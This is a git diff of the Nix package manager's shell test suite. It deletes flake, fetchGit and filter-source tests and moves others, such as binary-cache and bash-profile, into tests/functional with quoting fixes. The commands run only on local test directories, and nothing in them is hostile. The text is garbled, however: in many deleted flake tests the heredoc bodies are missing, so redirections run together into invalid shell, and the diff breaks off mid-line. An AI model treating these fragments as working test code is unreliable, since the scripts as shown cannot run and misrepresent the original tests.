-[[ $have_submodules == false ]] - -have_submodules=$(nix eval --expr "(builtins.fetchGit { url = $rootRepo; rev = \"$rev\"; submodules = false; }).submodules") -[[ $have_submodules == false ]] - -have_submodules=$(nix eval --expr "(builtins.fetchGit { url = $rootRepo; rev = \"$rev\"; submodules = true; }).submodules") -[[ $have_submodules == true ]] - -pathWithoutSubmodules=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; }).outPath") -pathWithSubmodules=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; submodules = true; }).outPath") -pathWithSubmodulesAgain=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; submodules = true; }).outPath") -pathWithSubmodulesAgainWithRef=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; ref = \"master\"; rev = \"$rev\"; submodules = true; }).outPath") - -# The resulting store path cannot be the same. -[[ $pathWithoutSubmodules != $pathWithSubmodules ]] - -# Checking out the same repo with submodules returns in the same store path. -[[ $pathWithSubmodules == $pathWithSubmodulesAgain ]] - -# Checking out the same repo with submodules returns in the same store path. -[[ $pathWithSubmodulesAgain == $pathWithSubmodulesAgainWithRef ]] - -# The submodules flag is actually honored. -[[ ! -e $pathWithoutSubmodules/sub/content ]] -[[ -e $pathWithSubmodules/sub/content ]] - -[[ -e $pathWithSubmodulesAgainWithRef/sub/content ]] - -# No .git directory or submodule reference files must be left -test "$(find "$pathWithSubmodules" -name .git)" = "" - -# Git repos without submodules can be fetched with submodules = true. -subRev=$(git -C $subRepo rev-parse HEAD) -noSubmoduleRepoBaseline=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$subRepo; rev = \"$subRev\"; }).outPath") -noSubmoduleRepo=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$subRepo; rev = \"$subRev\"; submodules = true; }).outPath") - -[[ $noSubmoduleRepoBaseline == $noSubmoduleRepo ]] diff --git a/tests/filter-source.sh b/tests/filter-source.sh deleted file mode 100644 index ba34d2eac..000000000 --- a/tests/filter-source.sh +++ /dev/null @@ -1,25 +0,0 @@ -source common.sh - -rm -rf $TEST_ROOT/filterin -mkdir $TEST_ROOT/filterin -mkdir $TEST_ROOT/filterin/foo -touch $TEST_ROOT/filterin/foo/bar -touch $TEST_ROOT/filterin/xyzzy -touch $TEST_ROOT/filterin/b -touch $TEST_ROOT/filterin/bak -touch $TEST_ROOT/filterin/bla.c.bak -ln -s xyzzy $TEST_ROOT/filterin/link - -checkFilter() { - test ! -e $1/foo/bar - test -e $1/xyzzy - test -e $1/bak - test ! -e $1/bla.c.bak - test ! -L $1/link -} - -nix-build ./filter-source.nix -o $TEST_ROOT/filterout1 -checkFilter $TEST_ROOT/filterout1 - -nix-build ./path.nix -o $TEST_ROOT/filterout2 -checkFilter $TEST_ROOT/filterout2 diff --git a/tests/flakes/check.sh b/tests/flakes/check.sh deleted file mode 100644 index f572aa75c..000000000 --- a/tests/flakes/check.sh +++ /dev/null @@ -1,89 +0,0 @@ -source common.sh - -flakeDir=$TEST_ROOT/flake3 -mkdir -p $flakeDir - -cat > $flakeDir/flake.nix < $flakeDir/flake.nix < $flakeDir/flake.nix < $flakeDir/flake.nix < $flakeDir/flake.nix < $flakeDir/flake.nix < $flakeDir/flake.nix <&1 && fail "nix flake check should have failed" || true) -echo "$checkRes" | grep -q "packages.system-1.default" -echo "$checkRes" | grep -q "packages.system-2.default" diff --git a/tests/flakes/circular.sh b/tests/flakes/circular.sh deleted file mode 100644 index 09cd02edf..000000000 --- a/tests/flakes/circular.sh +++ /dev/null @@ -1,49 +0,0 @@ -# Test circular flake dependencies. -source ./common.sh - -requireGit - -flakeA=$TEST_ROOT/flakeA -flakeB=$TEST_ROOT/flakeB - -createGitRepo $flakeA -createGitRepo $flakeB - -cat > $flakeA/flake.nix < $flakeB/flake.nix < $flake2Dir/flake.nix < $flake3Dir/flake.nix < $flake3Dir/default.nix < $nonFlakeDir/README.md <> $flake1Dir/flake.nix -git -C $flake1Dir commit -a -m 'Foo' -hash2=$(nix flake metadata flake1 --json --refresh | jq -r .revision) -[[ $hash1 != $hash2 ]] - -# Test 'nix build' on a flake. -nix build -o $TEST_ROOT/result flake1#foo -[[ -e $TEST_ROOT/result/hello ]] - -# Test packages.default. -nix build -o $TEST_ROOT/result flake1 -[[ -e $TEST_ROOT/result/hello ]] - -nix build -o $TEST_ROOT/result $flake1Dir -nix build -o $TEST_ROOT/result git+file://$flake1Dir - -# Check that store symlinks inside a flake are not interpreted as flakes. -nix build -o $flake1Dir/result git+file://$flake1Dir -nix path-info $flake1Dir/result - -# 'getFlake' on an unlocked flakeref should fail in pure mode, but -# succeed in impure mode. -(! nix build -o $TEST_ROOT/result --expr "(builtins.getFlake \"$flake1Dir\").packages.$system.default") -nix build -o $TEST_ROOT/result --expr "(builtins.getFlake \"$flake1Dir\").packages.$system.default" --impure - -# 'getFlake' on a locked flakeref should succeed even in pure mode. -nix build -o $TEST_ROOT/result --expr "(builtins.getFlake \"git+file://$flake1Dir?rev=$hash2\").packages.$system.default" - -# Building a flake with an unlocked dependency should fail in pure mode. -(! nix build -o $TEST_ROOT/result flake2#bar --no-registries) -(! nix build -o $TEST_ROOT/result flake2#bar --no-use-registries) -(! nix eval --expr "builtins.getFlake \"$flake2Dir\"") - -# But should succeed in impure mode. -(! nix build -o $TEST_ROOT/result flake2#bar --impure) -nix build -o $TEST_ROOT/result flake2#bar --impure --no-write-lock-file -nix eval --expr "builtins.getFlake \"$flake2Dir\"" --impure - -# Building a local flake with an unlocked dependency should fail with --no-update-lock-file. -nix build -o $TEST_ROOT/result $flake2Dir#bar --no-update-lock-file 2>&1 | grep 'requires lock file changes' - -# But it should succeed without that flag. -nix build -o $TEST_ROOT/result $flake2Dir#bar --no-write-lock-file -nix build -o $TEST_ROOT/result $flake2Dir#bar --no-update-lock-file 2>&1 | grep 'requires lock file changes' -nix build -o $TEST_ROOT/result $flake2Dir#bar --commit-lock-file -[[ -e $flake2Dir/flake.lock ]] -[[ -z $(git -C $flake2Dir diff main || echo failed) ]] - -# Rerunning the build should not change the lockfile. -nix build -o $TEST_ROOT/result $flake2Dir#bar -[[ -z $(git -C $flake2Dir diff main || echo failed) ]] - -# Building with a lockfile should not require a fetch of the registry. -nix build -o $TEST_ROOT/result --flake-registry file:///no-registry.json $flake2Dir#bar --refresh -nix build -o $TEST_ROOT/result --no-registries $flake2Dir#bar --refresh -nix build -o $TEST_ROOT/result --no-use-registries $flake2Dir#bar --refresh - -# Updating the flake should not change the lockfile. -nix flake lock $flake2Dir -[[ -z $(git -C $flake2Dir diff main || echo failed) ]] - -# Now we should be able to build the flake in pure mode. -nix build -o $TEST_ROOT/result flake2#bar - -# Or without a registry. -nix build -o $TEST_ROOT/result --no-registries git+file://$flake2Dir#bar --refresh -nix build -o $TEST_ROOT/result --no-use-registries git+file://$flake2Dir#bar --refresh - -# Test whether indirect dependencies work. -nix build -o $TEST_ROOT/result $flake3Dir#xyzzy -git -C $flake3Dir add flake.lock - -# Add dependency to flake3. -rm $flake3Dir/flake.nix - -cat > $flake3Dir/flake.nix < $flake3Dir/flake.nix < \$out - [[ \$(cat \${inputs.nonFlake}/README.md) = \$(cat \${inputs.nonFlakeFile}) ]] - [[ \${inputs.nonFlakeFile} = \${inputs.nonFlakeFile2} ]] - ''; - }; - }; -} -EOF - -cp ../config.nix $flake3Dir - -git -C $flake3Dir add flake.nix config.nix -git -C $flake3Dir commit -m 'Add nonFlakeInputs' - -# Check whether `nix build` works with a lockfile which is missing a -# nonFlakeInputs. -nix build -o $TEST_ROOT/result $flake3Dir#sth --commit-lock-file - -nix build -o $TEST_ROOT/result flake3#fnord -[[ $(cat $TEST_ROOT/result) = FNORD ]] - -# Check whether flake input fetching is lazy: flake3#sth does not -# depend on flake2, so this shouldn't fail. -rm -rf $TEST_HOME/.cache -clearStore -mv $flake2Dir $flake2Dir.tmp -mv $nonFlakeDir $nonFlakeDir.tmp -nix build -o $TEST_ROOT/result flake3#sth -(! nix build -o $TEST_ROOT/result flake3#xyzzy) -(! nix build -o $TEST_ROOT/result flake3#fnord) -mv $flake2Dir.tmp $flake2Dir -mv $nonFlakeDir.tmp $nonFlakeDir -nix build -o $TEST_ROOT/result flake3#xyzzy flake3#fnord - -# Test doing multiple `lookupFlake`s -nix build -o $TEST_ROOT/result flake4#xyzzy - -# Test 'nix flake update' and --override-flake. -nix flake lock $flake3Dir -[[ -z $(git -C $flake3Dir diff master || echo failed) ]] - -nix flake update $flake3Dir --override-flake flake2 nixpkgs -[[ ! -z $(git -C $flake3Dir diff master || echo failed) ]] - -# Make branch "removeXyzzy" where flake3 doesn't have xyzzy anymore -git -C $flake3Dir checkout -b removeXyzzy -rm $flake3Dir/flake.nix - -cat > $flake3Dir/flake.nix < \$out - ''; - }; - }; -} -EOF -nix flake lock $flake3Dir -git -C $flake3Dir add flake.nix flake.lock -git -C $flake3Dir commit -m 'Remove packages.xyzzy' -git -C $flake3Dir checkout master - -# Test whether fuzzy-matching works for registry entries. -(! nix build -o $TEST_ROOT/result flake4/removeXyzzy#xyzzy) -nix build -o $TEST_ROOT/result flake4/removeXyzzy#sth - -# Testing the nix CLI -nix registry add flake1 flake3 -[[ $(nix registry list | wc -l) == 6 ]] -nix registry pin flake1 -[[ $(nix registry list | wc -l) == 6 ]] -nix registry pin flake1 flake3 -[[ $(nix registry list | wc -l) == 6 ]] -nix registry remove flake1 -[[ $(nix registry list | wc -l) == 5 ]] - -# Test 'nix registry list' with a disabled global registry. -nix registry add user-flake1 git+file://$flake1Dir -nix registry add user-flake2 git+file://$flake2Dir -[[ $(nix --flake-registry "" registry list | wc -l) == 2 ]] -nix --flake-registry "" registry list | grep -q -v '^global' # nothing in global registry -nix --flake-registry "" registry list | grep -q '^user' -nix registry remove user-flake1 -nix registry remove user-flake2 -[[ $(nix registry list | wc -l) == 5 ]] - -# Test 'nix flake clone'. -rm -rf $TEST_ROOT/flake1-v2 -nix flake clone flake1 --dest $TEST_ROOT/flake1-v2 -[ -e $TEST_ROOT/flake1-v2/flake.nix ] - -# Test 'follows' inputs. -cat > $flake3Dir/flake.nix < $flake3Dir/flake.nix < $flake3Dir/flake.nix < $flake3Dir/flake.nix < $flake3Dir/flake.nix <&1 | grep 'NAR hash mismatch' - -# Test --override-input. -git -C $flake3Dir reset --hard -nix flake lock $flake3Dir --override-input flake2/flake1 file://$TEST_ROOT/flake.tar.gz -vvvvv -[[ $(jq .nodes.flake1_2.locked.url $flake3Dir/flake.lock) =~ flake.tar.gz ]] - -nix flake lock $flake3Dir --override-input flake2/flake1 flake1 -[[ $(jq -r .nodes.flake1_2.locked.rev $flake3Dir/flake.lock) =~ $hash2 ]] - -nix flake lock $flake3Dir --override-input flake2/flake1 flake1/master/$hash1 -[[ $(jq -r .nodes.flake1_2.locked.rev $flake3Dir/flake.lock) =~ $hash1 ]] - -# Test --update-input. -nix flake lock $flake3Dir -[[ $(jq -r .nodes.flake1_2.locked.rev $flake3Dir/flake.lock) = $hash1 ]] - -nix flake lock $flake3Dir --update-input flake2/flake1 -[[ $(jq -r .nodes.flake1_2.locked.rev $flake3Dir/flake.lock) =~ $hash2 ]] - -# Test 'nix flake metadata --json'. -nix flake metadata $flake3Dir --json | jq . - -# Test flake in store does not evaluate. -rm -rf $badFlakeDir -mkdir $badFlakeDir -echo INVALID > $badFlakeDir/flake.nix -nix store delete $(nix store add-path $badFlakeDir) - -[[ $(nix path-info $(nix store add-path $flake1Dir)) =~ flake1 ]] -[[ $(nix path-info path:$(nix store add-path $flake1Dir)) =~ simple ]] - -# Test fetching flakerefs in the legacy CLI. -[[ $(nix-instantiate --eval flake:flake3 -A x) = 123 ]] -[[ $(nix-instantiate --eval flake:git+file://$flake3Dir -A x) = 123 ]] -[[ $(nix-instantiate -I flake3=flake:flake3 --eval '' -A x) = 123 ]] -[[ $(NIX_PATH=flake3=flake:flake3 nix-instantiate --eval '' -A x) = 123 ]] diff --git a/tests/flakes/follow-paths.sh b/tests/flakes/follow-paths.sh deleted file mode 100644 index 19cc1bafa..000000000 --- a/tests/flakes/follow-paths.sh +++ /dev/null @@ -1,150 +0,0 @@ -source ./common.sh - -requireGit - -flakeFollowsA=$TEST_ROOT/follows/flakeA -flakeFollowsB=$TEST_ROOT/follows/flakeA/flakeB -flakeFollowsC=$TEST_ROOT/follows/flakeA/flakeB/flakeC -flakeFollowsD=$TEST_ROOT/follows/flakeA/flakeD -flakeFollowsE=$TEST_ROOT/follows/flakeA/flakeE - -# Test following path flakerefs. -createGitRepo $flakeFollowsA -mkdir -p $flakeFollowsB -mkdir -p $flakeFollowsC -mkdir -p $flakeFollowsD -mkdir -p $flakeFollowsE - -cat > $flakeFollowsA/flake.nix < $flakeFollowsB/flake.nix < $flakeFollowsC/flake.nix < $flakeFollowsD/flake.nix < $flakeFollowsE/flake.nix < $flakeFollowsA/flake.nix < $flakeFollowsA/flake.nix <&1 | grep 'points outside' - -# Non-existant follows should print a warning. -cat >$flakeFollowsA/flake.nix <&1 | grep "warning: input 'B' has an override for a non-existent input 'invalid'" -nix flake lock $flakeFollowsA 2>&1 | grep "warning: input 'B' has an override for a non-existent input 'invalid2'" diff --git a/tests/flakes/init.sh b/tests/flakes/init.sh deleted file mode 100644 index 36cb9956a..000000000 --- a/tests/flakes/init.sh +++ /dev/null @@ -1,87 +0,0 @@ -source ./common.sh - -requireGit - -templatesDir=$TEST_ROOT/templates -flakeDir=$TEST_ROOT/flake -nixpkgsDir=$TEST_ROOT/nixpkgs - -nix registry add --registry $registry templates git+file://$templatesDir -nix registry add --registry $registry nixpkgs git+file://$nixpkgsDir - -createGitRepo $nixpkgsDir -createSimpleGitFlake $nixpkgsDir - -# Test 'nix flake init'. -createGitRepo $templatesDir - -cat > $templatesDir/flake.nix < $templatesDir/trivial/flake.nix < $templatesDir/trivial/a -echo b > $templatesDir/trivial/b - -git -C $templatesDir add flake.nix trivial/ -git -C $templatesDir commit -m 'Initial' - -nix flake check templates -nix flake show templates -nix flake show templates --json | jq - -createGitRepo $flakeDir -(cd $flakeDir && nix flake init) -(cd $flakeDir && nix flake init) # check idempotence -git -C $flakeDir add flake.nix -nix flake check $flakeDir -nix flake show $flakeDir -nix flake show $flakeDir --json | jq -git -C $flakeDir commit -a -m 'Initial' - -# Test 'nix flake init' with benign conflicts -createGitRepo "$flakeDir" -echo a > $flakeDir/a -(cd $flakeDir && nix flake init) # check idempotence - -# Test 'nix flake init' with conflicts -createGitRepo "$flakeDir" -echo b > $flakeDir/a -pushd $flakeDir -(! nix flake init) |& grep "refusing to overwrite existing file '$flakeDir/a'" -popd -git -C $flakeDir commit -a -m 'Changed' - -# Test 'nix flake new'. -rm -rf $flakeDir -nix flake new -t templates#trivial $flakeDir -nix flake new -t templates#trivial $flakeDir # check idempotence -nix flake check $flakeDir diff --git a/tests/flakes/mercurial.sh b/tests/flakes/mercurial.sh deleted file mode 100644 index 2614006c8..000000000 --- a/tests/flakes/mercurial.sh +++ /dev/null @@ -1,46 +0,0 @@ -source ./common.sh - -if [[ -z $(type -p hg) ]]; then - echo "Mercurial not installed; skipping" - exit 99 -fi - -flake1Dir=$TEST_ROOT/flake-hg1 -mkdir -p $flake1Dir -writeSimpleFlake $flake1Dir -hg init $flake1Dir - -nix registry add --registry $registry flake1 hg+file://$flake1Dir - -flake2Dir=$TEST_ROOT/flake-hg2 -mkdir -p $flake2Dir -writeDependentFlake $flake2Dir -hg init $flake2Dir - -hg add $flake1Dir/* -hg commit --config ui.username=foobar@example.org $flake1Dir -m 'Initial commit' - -hg add $flake2Dir/flake.nix -hg commit --config ui.username=foobar@example.org $flake2Dir -m 'Initial commit' - -nix build -o $TEST_ROOT/result hg+file://$flake2Dir -[[ -e $TEST_ROOT/result/hello ]] - -(! nix flake metadata --json hg+file://$flake2Dir | jq -e -r .revision) - -nix eval hg+file://$flake2Dir#expr - -nix eval hg+file://$flake2Dir#expr - -(! nix eval hg+file://$flake2Dir#expr --no-allow-dirty) - -(! nix flake metadata --json hg+file://$flake2Dir | jq -e -r .revision) - -hg commit --config ui.username=foobar@example.org $flake2Dir -m 'Add lock file' - -nix flake metadata --json hg+file://$flake2Dir --refresh | jq -e -r .revision -nix flake metadata --json hg+file://$flake2Dir -[[ $(nix flake metadata --json hg+file://$flake2Dir | jq -e -r .revCount) = 1 ]] - -nix build -o $TEST_ROOT/result hg+file://$flake2Dir --no-registries --no-allow-dirty -nix build -o $TEST_ROOT/result hg+file://$flake2Dir --no-use-registries --no-allow-dirty diff --git a/tests/flakes/run.sh b/tests/flakes/run.sh deleted file mode 100644 index 9fa51d1c7..000000000 --- a/tests/flakes/run.sh +++ /dev/null @@ -1,29 +0,0 @@ -source ../common.sh - -clearStore -rm -rf $TEST_HOME/.cache $TEST_HOME/.config $TEST_HOME/.local -cp ../shell-hello.nix ../config.nix $TEST_HOME -cd $TEST_HOME - -cat < flake.nix -{ - outputs = {self}: { - packages.$system.pkgAsPkg = (import ./shell-hello.nix).hello; - packages.$system.appAsApp = self.packages.$system.appAsApp; - - apps.$system.pkgAsApp = self.packages.$system.pkgAsPkg; - apps.$system.appAsApp = { - type = "app"; - program = "\${(import ./shell-hello.nix).hello}/bin/hello"; - }; - }; -} -EOF -nix run --no-write-lock-file .#appAsApp -nix run --no-write-lock-file .#pkgAsPkg - -! nix run --no-write-lock-file .#pkgAsApp || fail "'nix run' shouldn’t accept an 'app' defined under 'packages'" -! nix run --no-write-lock-file .#appAsPkg || fail "elements of 'apps' should be of type 'app'" - -clearStore - diff --git a/tests/flakes/unlocked-override.sh b/tests/flakes/unlocked-override.sh deleted file mode 100644 index 8abc8b7d3..000000000 --- a/tests/flakes/unlocked-override.sh +++ /dev/null @@ -1,30 +0,0 @@ -source ./common.sh - -requireGit - -flake1Dir=$TEST_ROOT/flake1 -flake2Dir=$TEST_ROOT/flake2 - -createGitRepo $flake1Dir -cat > $flake1Dir/flake.nix < $flake1Dir/x.nix -git -C $flake1Dir add flake.nix x.nix -git -C $flake1Dir commit -m Initial - -createGitRepo $flake2Dir -cat > $flake2Dir/flake.nix < $flake1Dir/x.nix - -[[ $(nix eval --json $flake2Dir#x --override-input flake1 $TEST_ROOT/flake1) = 456 ]] diff --git a/tests/functional/.version b/tests/functional/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/tests/functional/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/tests/functional/add.sh b/tests/functional/add.sh new file mode 100755 index 000000000..3b37ee7d4 --- /dev/null +++ b/tests/functional/add.sh @@ -0,0 +1,54 @@ +#!/usr/bin/env bash + +source common.sh + +path1=$(nix-store --add ./dummy) +echo "$path1" + +path2=$(nix-store --add-fixed sha256 --recursive ./dummy) +echo "$path2" + +if test "$path1" != "$path2"; then + echo "nix-store --add and --add-fixed mismatch" + exit 1 +fi + +path3=$(nix-store --add-fixed sha256 ./dummy) +echo "$path3" +test "$path1" != "$path3" || exit 1 + +path4=$(nix-store --add-fixed sha1 --recursive ./dummy) +echo "$path4" +test "$path1" != "$path4" || exit 1 + +hash1=$(nix-store -q --hash "$path1") +echo "$hash1" + +hash2=$(nix-hash --type sha256 --base32 ./dummy) +echo "$hash2" + +test "$hash1" = "sha256:$hash2" + +#### New style commands + +clearStoreIfPossible + +( + path1=$(nix store add ./dummy) + path2=$(nix store add --mode nar ./dummy) + path3=$(nix store add-path ./dummy) + [[ "$path1" == "$path2" ]] + [[ "$path1" == "$path3" ]] + path4=$(nix store add --mode nar --hash-algo sha1 ./dummy) +) +( + path1=$(nix store add --mode flat ./dummy) + path2=$(nix store add-file ./dummy) + [[ "$path1" == "$path2" ]] + path4=$(nix store add --mode flat --hash-algo sha1 ./dummy) +) +( + path1=$(nix store add --mode text ./dummy) + path2=$(nix eval --impure --raw --expr 'builtins.toFile "dummy" (builtins.readFile ./dummy)') + [[ "$path1" == "$path2" ]] +) diff --git a/tests/bash-profile.sh b/tests/functional/bash-profile.sh old mode 100644 new mode 100755 similarity index 57% rename from tests/bash-profile.sh rename to tests/functional/bash-profile.sh index e2e0d1090..4228d4a20 --- a/tests/bash-profile.sh +++ b/tests/functional/bash-profile.sh @@ -1,9 +1,11 @@ +#!/usr/bin/env bash + source common.sh -sed -e "s|@localstatedir@|$TEST_ROOT/profile-var|g" -e "s|@coreutils@|$coreutils|g" < ../scripts/nix-profile.sh.in > $TEST_ROOT/nix-profile.sh +sed -e "s|@localstatedir@|$TEST_ROOT/profile-var|g" -e "s|@coreutils@|$coreutils|g" < ../../scripts/nix-profile.sh.in > "$TEST_ROOT"/nix-profile.sh user=$(whoami) -rm -rf $TEST_HOME $TEST_ROOT/profile-var -mkdir -p $TEST_HOME +rm -rf "$TEST_HOME" "$TEST_ROOT/profile-var" +mkdir -p "$TEST_HOME" USER=$user $SHELL -e -c ". $TEST_ROOT/nix-profile.sh; set" USER=$user $SHELL -e -c ". $TEST_ROOT/nix-profile.sh" # test idempotency diff --git a/tests/big-derivation-attr.nix b/tests/functional/big-derivation-attr.nix similarity index 100% rename from tests/big-derivation-attr.nix rename to tests/functional/big-derivation-attr.nix diff --git a/tests/binary-cache-build-remote.sh b/tests/functional/binary-cache-build-remote.sh old mode 100644 new mode 100755 similarity index 80% rename from tests/binary-cache-build-remote.sh rename to tests/functional/binary-cache-build-remote.sh index 81cd21a4a..5046d0064 --- a/tests/binary-cache-build-remote.sh +++ b/tests/functional/binary-cache-build-remote.sh @@ -1,6 +1,10 @@ +#!/usr/bin/env bash + source common.sh -clearStore +TODO_NixOS + +clearStoreIfPossible clearCacheCache # Fails without remote builders @@ -10,7 +14,7 @@ clearCacheCache outPath=$(nix-build --store "file://$cacheDir" --builders 'auto - - 1 1' -j0 dependencies.nix) # Test that the path exactly exists in the destination store. -nix path-info --store "file://$cacheDir" $outPath +nix path-info --store "file://$cacheDir" "$outPath" # Succeeds without any build capability because no-op nix-build --store "file://$cacheDir" -j0 dependencies.nix diff --git a/tests/binary-cache.sh b/tests/functional/binary-cache.sh old mode 100644 new mode 100755 similarity index 51% rename from tests/binary-cache.sh rename to tests/functional/binary-cache.sh index 0361ac6a8..6a177b657 --- a/tests/binary-cache.sh +++ b/tests/functional/binary-cache.sh @@ -1,5 +1,9 @@ +#!/usr/bin/env bash + source common.sh +TODO_NixOS + needLocalStore "'--no-require-sigs' can’t be used with the daemon" # We can produce drvs directly into the binary cache @@ -12,19 +16,27 @@ clearStore clearCache outPath=$(nix-build dependencies.nix --no-out-link) -nix copy --to file://$cacheDir $outPath +nix copy --to "file://$cacheDir" "$outPath" + +readarray -t paths < <(nix path-info --all --json --store "file://$cacheDir" | jq 'keys|sort|.[]' -r) +[[ "${#paths[@]}" -eq 3 ]] +for path in "${paths[@]}"; do + [[ "$path" =~ -dependencies-input-0$ ]] \ + || [[ "$path" =~ -dependencies-input-2$ ]] \ + || [[ "$path" =~ -dependencies-top$ ]] +done # Test copying build logs to the binary cache. -nix log --store file://$cacheDir $outPath 2>&1 | grep 'is not available' -nix store copy-log --to file://$cacheDir $outPath -nix log --store file://$cacheDir $outPath | grep FOO -rm -rf $TEST_ROOT/var/log/nix -nix log $outPath 2>&1 | grep 'is not available' -nix log --substituters file://$cacheDir $outPath | grep FOO +expect 1 nix log --store "file://$cacheDir" "$outPath" 2>&1 | grep 'is not available' +nix store copy-log --to "file://$cacheDir" "$outPath" +nix log --store "file://$cacheDir" "$outPath" | grep FOO +rm -rf "$TEST_ROOT/var/log/nix" +expect 1 nix log "$outPath" 2>&1 | grep 'is not available' +nix log --substituters "file://$cacheDir" "$outPath" | grep FOO # Test copying build logs from the binary cache. -nix store copy-log --from file://$cacheDir $(nix-store -qd $outPath) -nix log $outPath | grep FOO +nix store copy-log --from "file://$cacheDir" "$(nix-store -qd "$outPath")"^'*' +nix log "$outPath" | grep FOO basicDownloadTests() { # No uploading tests bcause upload with force HTTP doesn't work. @@ -36,15 +48,15 @@ basicDownloadTests() { nix-env --substituters "file://$cacheDir" -f dependencies.nix -qas \* | grep -- "---" - nix-store --substituters "file://$cacheDir" --no-require-sigs -r $outPath + nix-store --substituters "file://$cacheDir" --no-require-sigs -r "$outPath" - [ -x $outPath/program ] + [ -x "$outPath/program" ] # But with the right configuration, "nix-env -qas" should also work. clearStore clearCacheCache - echo "WantMassQuery: 1" >> $cacheDir/nix-cache-info + echo "WantMassQuery: 1" >> "$cacheDir/nix-cache-info" nix-env --substituters "file://$cacheDir" -f dependencies.nix -qas \* | grep -- "--S" nix-env --substituters "file://$cacheDir" -f dependencies.nix -qas \* | grep -- "--S" @@ -52,12 +64,12 @@ basicDownloadTests() { x=$(nix-env -f dependencies.nix -qas \* --prebuilt-only) [ -z "$x" ] - nix-store --substituters "file://$cacheDir" --no-require-sigs -r $outPath + nix-store --substituters "file://$cacheDir" --no-require-sigs -r "$outPath" - nix-store --check-validity $outPath - nix-store -qR $outPath | grep input-2 + nix-store --check-validity "$outPath" + nix-store -qR "$outPath" | grep input-2 - echo "WantMassQuery: 0" >> $cacheDir/nix-cache-info + echo "WantMassQuery: 0" >> "$cacheDir/nix-cache-info" } @@ -73,22 +85,22 @@ basicDownloadTests # Test whether Nix notices if the NAR doesn't match the hash in the NAR info. clearStore -nar=$(ls $cacheDir/nar/*.nar.xz | head -n1) -mv $nar $nar.good -mkdir -p $TEST_ROOT/empty -nix-store --dump $TEST_ROOT/empty | xz > $nar +nar=$(find "$cacheDir/nar/" -type f -name "*.nar.xz" | head -n1) +mv "$nar" "$nar".good +mkdir -p "$TEST_ROOT/empty" +nix-store --dump "$TEST_ROOT/empty" | xz > "$nar" -nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log -grep -q "hash mismatch" $TEST_ROOT/log +expect 1 nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" 2>&1 | tee "$TEST_ROOT/log" +grepQuiet "hash mismatch" "$TEST_ROOT/log" -mv $nar.good $nar +mv "$nar".good "$nar" # Test whether this unsigned cache is rejected if the user requires signed caches. clearStore clearCacheCache -if nix-store --substituters "file://$cacheDir" -r $outPath; then +if nix-store --substituters "file://$cacheDir" -r "$outPath"; then echo "unsigned binary cache incorrectly accepted" exit 1 fi @@ -97,131 +109,134 @@ fi # Test whether fallback works if a NAR has disappeared. This does not require --fallback. clearStore -mv $cacheDir/nar $cacheDir/nar2 +mv "$cacheDir/nar" "$cacheDir/nar2" -nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result +nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" -mv $cacheDir/nar2 $cacheDir/nar +mv "$cacheDir/nar2" "$cacheDir/nar" # Test whether fallback works if a NAR is corrupted. This does require --fallback. clearStore -mv $cacheDir/nar $cacheDir/nar2 -mkdir $cacheDir/nar -for i in $(cd $cacheDir/nar2 && echo *); do touch $cacheDir/nar/$i; done +mv "$cacheDir/nar" "$cacheDir/nar2" +mkdir "$cacheDir/nar" +for i in $(cd "$cacheDir/nar2" && echo *); do touch "$cacheDir"/nar/"$i"; done -(! nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result) +(! nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result") -nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result --fallback +nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" --fallback -rm -rf $cacheDir/nar -mv $cacheDir/nar2 $cacheDir/nar +rm -rf "$cacheDir/nar" +mv "$cacheDir/nar2" "$cacheDir/nar" # Test whether building works if the binary cache contains an # incomplete closure. clearStore -rm -v $(grep -l "StorePath:.*dependencies-input-2" $cacheDir/*.narinfo) +rm -v "$(grep -l "StorePath:.*dependencies-input-2" "$cacheDir"/*.narinfo)" -nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log -grep -q "copying path.*input-0" $TEST_ROOT/log -grep -q "copying path.*input-2" $TEST_ROOT/log -grep -q "copying path.*top" $TEST_ROOT/log +nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" 2>&1 | tee "$TEST_ROOT/log" +grepQuiet "copying path.*input-0" "$TEST_ROOT/log" +grepQuiet "copying path.*input-2" "$TEST_ROOT/log" +grepQuiet "copying path.*top" "$TEST_ROOT/log" # Idem, but without cached .narinfo. clearStore clearCacheCache -nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log -grep -q "don't know how to build" $TEST_ROOT/log -grep -q "building.*input-1" $TEST_ROOT/log -grep -q "building.*input-2" $TEST_ROOT/log -grep -q "copying path.*input-0" $TEST_ROOT/log -grep -q "copying path.*top" $TEST_ROOT/log +nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" 2>&1 | tee "$TEST_ROOT/log" +grepQuiet "don't know how to build" "$TEST_ROOT/log" +grepQuiet "building.*input-1" "$TEST_ROOT/log" +grepQuiet "building.*input-2" "$TEST_ROOT/log" +grepQuiet "copying path.*input-0" "$TEST_ROOT/log" +grepQuiet "copying path.*top" "$TEST_ROOT/log" # Create a signed binary cache. clearCache clearCacheCache -nix key generate-secret --key-name test.nixos.org-1 > $TEST_ROOT/sk1 -publicKey=$(nix key convert-secret-to-public < $TEST_ROOT/sk1) +nix key generate-secret --key-name test.nixos.org-1 > 